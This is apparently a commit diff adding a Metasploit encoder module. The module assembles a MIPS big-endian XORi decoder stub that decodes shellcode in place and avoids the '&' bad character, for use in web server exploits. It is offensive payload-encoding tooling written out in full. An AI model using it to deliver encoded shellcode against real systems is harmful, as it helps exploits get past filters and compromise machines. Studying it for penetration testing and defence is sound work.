|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | + |
| 7 | +require 'msf/core' |
| 8 | +require 'metasm' |
| 9 | + |
| 10 | + |
| 11 | +class Metasploit3 < Msf::Encoder::Xor |
| 12 | + |
| 13 | + Rank = NormalRanking |
| 14 | + |
| 15 | + def initialize |
| 16 | + super( |
| 17 | + 'Name' => 'Byte XORi Encoder', |
| 18 | + 'Description' => %q{ |
| 19 | + Mips Web server exploit friendly xor encoder. This encoder has been found useful on |
| 20 | + situations where '&' (0x26) is a badchar. Since 0x26 is the xor's opcode on MIPS |
| 21 | + architectures, this one is based on the xori instruction. |
| 22 | + }, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'Julien Tinnes <julien at cr0.org>', # original longxor encoder, which this one is based on |
| 26 | + 'juan vazquez' # byte_xori encoder |
| 27 | + ], |
| 28 | + 'Arch' => ARCH_MIPSBE, |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'Decoder' => |
| 31 | + { |
| 32 | + 'KeySize' => 1, |
| 33 | + 'BlockSize' => 1, |
| 34 | + 'KeyPack' => 'C', |
| 35 | + }) |
| 36 | + end |
| 37 | + |
| 38 | + # |
| 39 | + # Returns the decoder stub that is adjusted for the size of the buffer |
| 40 | + # being encoded. |
| 41 | + # |
| 42 | + def decoder_stub(state) |
| 43 | + |
| 44 | + # add 4 number of passes for the space reserved for the key, at the end of the decoder stub |
| 45 | + # (see commented source) |
| 46 | + number_of_passes=state.buf.length+4 |
| 47 | + raise InvalidPayloadSizeException.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 32766 |
| 48 | + |
| 49 | + # 16-bits not (again, see also commented source) |
| 50 | + reg_14 = (number_of_passes+1)^0xFFFF |
| 51 | + |
| 52 | + decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), <<EOS).encoded.data |
| 53 | +main: |
| 54 | +
|
| 55 | +li macro reg, imm |
| 56 | + addiu reg, $0, imm ; 0x24xxyyyy - xx: reg #, yyyy: imm # imm must be equal or less than 0x7fff |
| 57 | +endm |
| 58 | +
|
| 59 | + li ($14, #{reg_14}) ; 0x240exxxx - store in $14 the number of passes (two's complement) - xxxx (number of passes) |
| 60 | + nor $14, $14, $0 ; 0x01c07027 - get in $14 the number of passes |
| 61 | + li ($11,-69) ; 0x240bffbb - store in $11 the offset to the end of the decoder (two's complement) (from the addu instr) |
| 62 | +
|
| 63 | +; acts as getpc |
| 64 | +next: |
| 65 | + bltzal $8, next ; 0x0510ffff - branch to next if $8 < 0, store return address in $31 ($ra); pipelining executes next instr. |
| 66 | + slti $8, $0, 0x#{slti_imm(state)} ; 0x2808xxxx - Set $8 = 0; Set $8 = 1 if $0 < imm; else $8 = 0 / xxxx: imm |
| 67 | +
|
| 68 | + nor $11, $11, $0 ; 0x01605827 - get in $11 the offset to the end of the decoder (from the addu instr) |
| 69 | + addu $25, $31, $11 ; 0x03ebc821 - get in $25 a pointer to the end of the decoder stub |
| 70 | +
|
| 71 | + slti $23, $0, 0x#{slti_imm(state)} ; 0x2817xxxx - Set $23 = 0 (Set $23 = 1 if $0 < imm; else $23 = 0) / xxxx: imm |
| 72 | + lb $17, -1($25) ; 0x8f31fffc - Load xor key in $17 (stored on the last byte of the decoder stub) |
| 73 | +
|
| 74 | +; Init $6 and $15 |
| 75 | + li ($13, -4) ; 0x240dfffc - $13 = -4 |
| 76 | + nor $6, $13, $0 ; 0x01a03027 - $6 = 3 ; used to easily get the cacheflush parameter |
| 77 | + addi $15, $6, -2 ; 0x20cffffe - $15 = 1 ($15 = decoding loop counter increment) |
| 78 | +
|
| 79 | +; In order avoid null bytes, decode also the xor key, so memory can be |
| 80 | +; referenced with offset -1 |
| 81 | +loop: |
| 82 | + lb $8, -4($25) ; 0x8f28fffc - Load in $8 the byte to decode |
| 83 | + addu $23, $23, $15 ; 0x02efb821 - Increment the counter ($23) |
| 84 | + xori $3, $8, 0x#{padded_key(state)} ; 0x01111826 - xori decoding instruction, store the decoded byte on $3 |
| 85 | + #{set_on_less_than(state)} ; 0x02eef0xx - $30 = 1 if $23 < $14; else $30 = 0 (update branch condition) / xx: 0x2b if slti, 0x2a if slt |
| 86 | + sb $3, -4($25) ; 0xaf23fffc - Store decoded byte on memory |
| 87 | + bne $0, $30, loop ; 0x17c0fff9 - branch to loop if $30 != 0 (ranch while bytes to decode) |
| 88 | + addu $25, $25, $15 ; 0x032dc821 - next instruction to decode, executed because of the pipelining |
| 89 | +
|
| 90 | + li ($2, 4147) ; 0x24021033 - cacheflush sytem call |
| 91 | + syscall 0x52950 ; 0x014a540c |
| 92 | + nop ; encoded shellcoded must be here (xor key right here ;) after decoding will result in a nop |
| 93 | +EOS |
| 94 | + |
| 95 | + return decoder |
| 96 | + end |
| 97 | + |
| 98 | + |
| 99 | + def padded_key(state, size=1) |
| 100 | + key = Rex::Text.rand_text(size, state.badchars) |
| 101 | + key << [state.key].pack("C") |
| 102 | + return key.unpack("n")[0].to_s(16) |
| 103 | + end |
| 104 | + |
| 105 | + # Returns an two-bytes immediate value without badchars. The value must be |
| 106 | + # on the 0x8000-0x8fff so it is used as negative value by slti (set less |
| 107 | + # than signed immediate) |
| 108 | + def slti_imm(state) |
| 109 | + imm = Rex::Text.rand_text(2, state.badchars + (0x00..0x7f).to_a.pack("C*")) |
| 110 | + return imm.unpack("n")[0].to_s(16) |
| 111 | + end |
| 112 | + |
| 113 | + # Since 0x14 contains the number of passes, and because of the li macro, can't be |
| 114 | + # longer than 0x7fff, both sltu (unsigned) and slt (signed) operations can be used |
| 115 | + # here |
| 116 | + def set_on_less_than(state) |
| 117 | + instructions = { |
| 118 | + "sltu $30, $23, $14" => "\x02\xee\xf0\x2b", # set less than unsigned |
| 119 | + "slt $30, $23, $14" => "\x02\xee\xf0\x2a" # set less than |
| 120 | + } |
| 121 | + |
| 122 | + instructions.each do |k,v| |
| 123 | + if Rex::Text.badchar_index(v, state.badchars) == nil |
| 124 | + return k |
| 125 | + end |
| 126 | + end |
| 127 | + |
| 128 | + raise BadcharError.new, |
| 129 | + "The #{self.name} encoder failed to encode the decoder stub without bad characters.", |
| 130 | + caller |
| 131 | + end |
| 132 | + |
| 133 | + def encode_finalize_stub(state, stub) |
| 134 | + # Including the key into the stub by ourselves because it should be located |
| 135 | + # in the last 4 bytes of the decoder stub. In this way decoding will convert |
| 136 | + # these bytes into a nop instruction (0x00000000). The Msf::Encoder only supports |
| 137 | + # one decoder_key_offset position |
| 138 | + real_key = state.key |
| 139 | + stub[-4, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack) |
| 140 | + stub[-3, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack) |
| 141 | + stub[-2, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack) |
| 142 | + stub[-1, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack) |
| 143 | + return stub |
| 144 | + end |
| 145 | + |
| 146 | +end |
0 commit comments